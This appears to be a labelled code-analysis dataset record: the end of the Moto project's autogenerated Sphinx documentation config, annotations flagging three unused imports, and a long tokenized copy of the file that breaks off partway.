links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'moto', 'Moto Documentation',\n [author], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'Moto', 'Moto Documentation',\n author, 'Moto', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 10 }, { "span": "import os", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 9 }, { "span": "import shlex", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 12 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", "3_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Moto", " ", "documentation", " ", "build", " ", "configura", "tion", " ", "file", ",", " ", "created", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sphinx", "-", "quicks", "tart", " ", "on", " ", "Sun", " ", "Ju", "l", " ", "2", "6", " ", "2", "2", ":", "16", ":", "23", " ", "201", "5._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "file", " ", "is", " ", "execfile", "()", "d", " ", "with", " ", "the", " ", "current", " ", "director", "y", " ", "set", " ", "to", " ", "its_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", "ing", " ", "dir", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "not", " ", "all", " ", "possib", "le", " ", "configura", "tion", " ", "values", " ", "are", " ", "presen", "t", " ", "in", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "autogen", "erate", "d", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "configura", "tion", " ", "values", " ", "have", " ", "a", " ", "default", ";", " ", "values", " ", "tha", "t", " ", "are", " ", "commente", "d", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "serve", " ", "to", " ", "show", " ", "the", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shlex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "extensi", "ons", " ", "(", "or", " ", "module", "s", " ", "to", " ", "document", " ", "with", " ", "autod", "oc", ")", " ", "are", " ", "in", " ", "anot", "her", " ", "director", "y", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "these", " ", "director", "ies", " ", "to", " ", "sys", ".", "path", " ", "here", ".", " ", "If", " ", "the", " ", "director", "y", " ", "is", " ", "relative", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", " ", "root", ",", " ", "use", " ", "os", ".", "path", ".", "abs", "path", " ", "to", " ", "make", " ", "it", " ", "abs", "olute", ",", " ", "like", " ", "shown", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "path", ".", "insert", "(", "0", ",", " ", "os", ".", "path", ".", "abs", "path", "('.", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "General", " ", "configura", "tion", " ", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "your", " ", "documentation", " ", "need", "s", " ", "a", " ", "minima", "l", " ", "Sph", "inx", " ", "version", ",", " ", "state", " ", "it", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "need", "s", "\\u", "sphinx", " ", "=", " ", "'", "1.0", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "Sph", "inx", " ", "extensi", "on", " ", "module", " ", "names", " ", "here", ",", " ", "as", " ", "string", "s", ".", " ", "The", "y", " ", "can", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extensi", "ons", " ", "comi", "ng", " ", "with", " ", "Sph", "inx", " ", "(", "named", " ", "'", "sphinx", ".", "ext", ".*", "')", " ", "or", " ", "your", " ", "custom_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ones", "._", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "template", "s", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "template", "s", "\\u", "path_", "=_", "[_", "'\\u", "template", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "suff", "ix", "(", "es", ")", " ", "of", " ", "source", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "can", " ", "speci", "fy", " ", "multiple", " ", "suff", "ix", " ", "as", " ", "a", " ", "list", " ", "of", " ", "string", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "source", "\\u", "suff", "ix", " ", "=", " ", "['", ".", "rst", "',", " ", "'.", "md", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "suffix_", "=_", "'.", "rst", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "encoding", " ", "of", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "source", "\\u", "encoding", " ", "=", " ", "'", "utf", "-", "8", "-", "sig", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "master", " ", "toc", "tree", " ", "document", "._", "\\u\\u\\uNL\\u\\u\\u_", "master", "\\u", "doc_", "=_", "'", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "General", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "project", "._", "\\u\\u\\uNL\\u\\u\\u_", "project_", "=_", "'", "Moto", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copyright_", "=_", "'", "201", "5", ",", " ", "Ste", "ve", " ", "Pul", "ec", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "author_", "=_", "'", "Ste", "ve", " ", "Pul", "ec", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "version", " ", "info", " ", "for", " ", "the", " ", "project", " ", "you", "'", "re", " ", "document", "ing", ",", " ", "acts", " ", "as", " ", "replace", "ment", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "|", "version", "|", " ", "and", " ", "|", "release", "|", ",", " ", "als", "o", " ", "used", " ", "in", " ", "vari", "ous", " ", "other", " ", "place", "s", " ", "through", "out", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "short", " ", "X", ".", "Y", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "0.", "4.1", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "full", " ", "version", ",", " ", "inclu", "ding", " ", "alpha", "/", "beta", "/", "rc", " ", "tags", "._", "\\u\\u\\uNL\\u\\u\\u_", "release_", "=_", "'", "0.", "4.1", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "language", " ", "for", " ", "content", " ", "autogen", "erate", "d", " ", "by", " ", "Sph", "inx", ".", " ", "Refer", " ", "to", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "a", " ", "list", " ", "of", " ", "support", "ed", " ", "language", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "als", "o", " ", "used", " ", "if", " ", "you", " ", "do", " ", "content", " ", "translatio", "n", " ", "via", " ", "gettext", " ", "catalogs", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "ual", "ly", " ", "you", " ", "set", " ", "\"", "language", "\"", " ", "from", " ", "the", " ", "command", " ", "line", " ", "for", " ", "these", " ", "case", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "language_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "are", " ", "two", " ", "options", " ", "for", " ", "repla", "cing", " ", "|", "toda", "y", "|", ":", " ", "eit", "her", ",", " ", "you", " ", "set", " ", "toda", "y", " ", "to", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "non", "-", "fal", "se", " ", "value", ",", " ", "then", " ", "it", " ", "is", " ", "used", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Else", ",", " ", "toda", "y", "\\u", "fmt", " ", "is", " ", "used", " ", "as", " ", "the", " ", "format", " ", "for", " ", "a", " ", "strf", "time", " ", "call", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", "\\u", "fmt", " ", "=", " ", "'%", "B", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "pattern", "s", ",", " ", "relative", " ", "to", " ", "source", " ", "director", "y", ",", " ", "tha", "t", " ", "match", " ", "files", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "ies", " ", "to", " ", "ignore", " ", "whe", "n", " ", "look", "ing", " ", "for", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "exclu", "de", "\\u", "patterns_", "=_", "[_", "'\\u", "build", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "re", "ST", " ", "default", " ", "role", " ", "(", "used", " ", "for", " ", "this", " ", "markup", ":", " ", "`", "text", "`)", " ", "to", " ", "use", " ", "for", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "default", "\\u", "role", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "'(", ")'", " ", "will", " ", "be", " ", "append", "ed", " ", "to", " ", ":", "func", ":", " ", "etc", ".", " ", "cross", "-", "reference", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "function", "\\u", "parenthes", "es", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "current", " ", "module", " ", "name", " ", "will", " ", "be", " ", "prepend", "ed", " ", "to", " ", "all", " ", "description_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unit", " ", "titles", " ", "(", "suc", "h", " ", "as", " ", "..", " ", "function", "::", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "module", "\\u", "names", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "section", "author", " ", "and", " ", "module", "author", " ", "directive", "s", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ".", " ", "The", "y", " ", "are", " ", "ignore", "d", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "show", "\\u", "author", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "the", " ", "Pyg", "ment", "s", " ", "(", "synta", "x", " ", "highlight", "ing", ")", " ", "style", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "pyg", "ment", "s", "\\u", "style_", "=_", "'", "sphinx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "list", " ", "of", " ", "ignore", "d", " ", "prefix", "es", " ", "for", " ", "module", " ", "index", " ", "sorting", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "modi", "nde", "x", "\\u", "common", "\\u", "prefix", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "keep", " ", "warn", "ings", " ", "as", " ", "\"", "system", " ", "message", "\"", " ", "paragraph", "s", " ", "in", " ", "the", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "keep", "\\u", "warn", "ings", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "`", "todo", "`", " ", "and", " ", "`", "todo", "List", "`", " ", "produce", " ", "output", ",", " ", "else", " ", "the", "y", " ", "produce", " ", "not", "hing", "._", "\\u\\u\\uNL\\u\\u\\u_", "todo", "\\u", "include", "\\u", "todos_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "HTM", "L", " ", "output", " ", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "them", "e", " ", "to", " ", "use", " ", "for", " ", "HTM", "L", " ", "and", " ", "HTM", "L", " ", "Help", " ", "page", "s", ".", " ", " ", "See", " ", "the", " ", "documentation", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "list", " ", "of", " ", "bui", "lti", "n", " ", "themes", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "theme_", "=_", "'", "ala", "bast", "er", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Them", "e", " ", "options", " ", "are", " ", "them", "e-", "specific", " ", "and", " ", "customize", " ", "the", " ", "look", " ", "and", " ", "feel", " ", "of", " ", "a", " ", "theme_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "ther", ".", " ", " ", "For", " ", "a", " ", "list", " ", "of", " ", "options", " ", "avail", "able", " ", "for", " ", "each", " ", "them", "e", ",", " ", "see", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "options", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "themes", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "for", " ", "this", " ", "set", " ", "of", " ", "Sph", "inx", " ", "document", "s", ".", " ", " ", "If", " ", "Non", "e", ",", " ", "it", " ", "default", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"<", "project", ">", " ", "v", "<", "release", ">", " ", "documentation", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "shorter", " ", "title", " ", "for", " ", "the", " ", "navigation", " ", "bar", ".", " ", " ", "Default", " ", "is", " ", "the", " ", "same", " ", "as", " ", "html", "\\u", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "short", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "the", " ", "sidebar", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "within", " ", "the", " ", "static", " ", "path", ")", " ", "to", " ", "use", " ", "as", " ", "fav", "icon", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "docs", ".", " ", " ", "Thi", "s", " ", "file", " ", "shou", "ld", " ", "be", " ", "a", " ", "Window", "s", " ", "icon", " ", "file", " ", "(.", "ico", ")", " ", "bei", "ng", " ", "16", "x1", "6", " ", "or", " ", "32", "x3", "2_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pixel", "s", " ", "large", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "fav", "icon", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "static", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "style", " ", "sheet", "s", ")", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "y", " ", "are", " ", "copie", "d", " ", "after", " ", "the", " ", "bui", "lti", "n", " ", "static", " ", "files", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "a", " ", "file", " ", "named", " ", "\"", "default", ".", "css", "\"", " ", "will", " ", "overwrit", "e", " ", "the", " ", "bui", "lti", "n", " ", "\"", "default", ".", "css", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "static", "\\u", "path_", "=_", "[_", "'\\u", "static", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "extra", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "robots", ".", "txt", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", ".", "hta", "ccess", ")", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "se", " ", "files", " ", "are", " ", "copied_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "direct", "ly", " ", "to", " ", "the", " ", "root", " ", "of", " ", "the", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "extra", "\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "''", ",", " ", "a", " ", "'", "Las", "t", " ", "update", "d", " ", "on", ":'", " ", "timestamp", " ", "is", " ", "inserted", " ", "at", " ", "every", " ", "page", " ", "bottom", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "strf", "time", " ", "format", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "last", "\\u", "update", "d\\u", "fmt", " ", "=", " ", "'%", "b", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "Sma", "rty", "Pant", "s", " ", "will", " ", "be", " ", "used", " ", "to", " ", "convert", " ", "quote", "s", " ", "and", " ", "dashes", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "typo", "graphical", "ly", " ", "correct", " ", "entit", "ies", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "smart", "ypa", "nts", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Custom", " ", "sidebar", " ", "template", "s", ",", " ", "maps", " ", "document", " ", "names", " ", "to", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "sidebar", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "template", "s", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "render", "ed", " ", "to", " ", "page", "s", ",", " ", "maps", " ", "page", " ", "names", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "addition", "al", "\\u", "page", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "index", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "index", " ", "is", " ", "split", " ", "int", "o", " ", "individual", " ", "page", "s", " ", "for", " ", "each", " ", "letter", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "split", "\\u", "index", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "link", "s", " ", "to", " ", "the", " ", "re", "ST", " ", "source", "s", " ", "are", " ", "adde", "d", " ", "to", " ", "the", " ", "page", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "source", "link", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"", "Creat", "ed", " ", "usi", "ng", " ", "Sph", "inx", "\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "sphinx", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"(", "C", ")", " ", "Copy", "right", " ", "...\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "copyr", "ight", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "an", " ", "Open", "Sear", "ch", " ", "description", " ", "file", " ", "will", " ", "be", " ", "output", ",", " ", "and", " ", "all", " ", "page", "s", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", " ", "a", " ", "<", "link", ">", " ", "tag", " ", "refer", "ring", " ", "to", " ", "it", ".", " ", " ", "The", " ", "value", " ", "of", " ", "this", " ", "option", " ", "must", " ", "be", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "base", " ", "URL", " ", "from", " ", "whi", "ch", " ", "the", " ", "finish", "ed", " ", "HTM", "L", " ", "is", " ", "serve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "opens", "ear", "ch", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "file", " ", "name", " ", "suff", "ix", " ", "for", " ", "HTM", "L", " ", "files", " ", "(", "e", ".", "g", ".", " ", "\".", "xh", "tml", "\")", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "file", "\\u", "suff", "ix", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lang", "ua", "ge", " ", "to", " ", "be", " ", "used", " ", "for", " ", "generat", "ing", " ", "the", " ", "HTM", "L", " ", "full", "-", "text", " ", "search", " ", "index", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sph", "inx", " ", "support", "s", " ", "the", " ", "follow", "ing", " ", "language", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "da", "',", " ", "'", "de", "',", " ", "'", "en", "',", " ", "'", "es", "',", " ", "'", "fi", "',", " ", "'", "fr", "',", " ", "'", "h", "',", " ", "'", "it", "',", " ", "'", "ja", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "nl", "',", " ", "'", "no", "',", " ", "'", "pt", "',", " ", "'", "ro", "',", " ", "'", "r", "',", " ", "'", "sv", "',", " ", "'", "tr", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "language", " ", "=", " ", "'", "en", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "dictionar", "y", " ", "with", " ", "options", " ", "for", " ", "the", " ", "search", " ", "language", " ", "support", ",", " ", "empty", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "only", " ", "'", "ja", "'", " ", "use", "s", " ", "this", " ", "config", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "options", " ", "=", " ", "{", "'", "type", "':", " ", "'", "default", "'}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "a", " ", "javascript", " ", "file", " ", "(", "relative", " ", "to", " ", "the", " ", "configura", "tion", " ", "director", "y", ")", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "implement", "s", " ", "a", " ", "search", " ", "results", " ", "scorer", ".", " ", "If", " ", "empty", ",", " ", "the", " ", "default", " ", "will", " ", "be", " ", "used", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "scorer", " ", "=", " ", "'", "scorer", ".", "js", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Output", " ", "file", " ", "base", " ", "name", " ", "for", " ", "HTM", "L", " ", "help", " ", "builde", "r", "._", 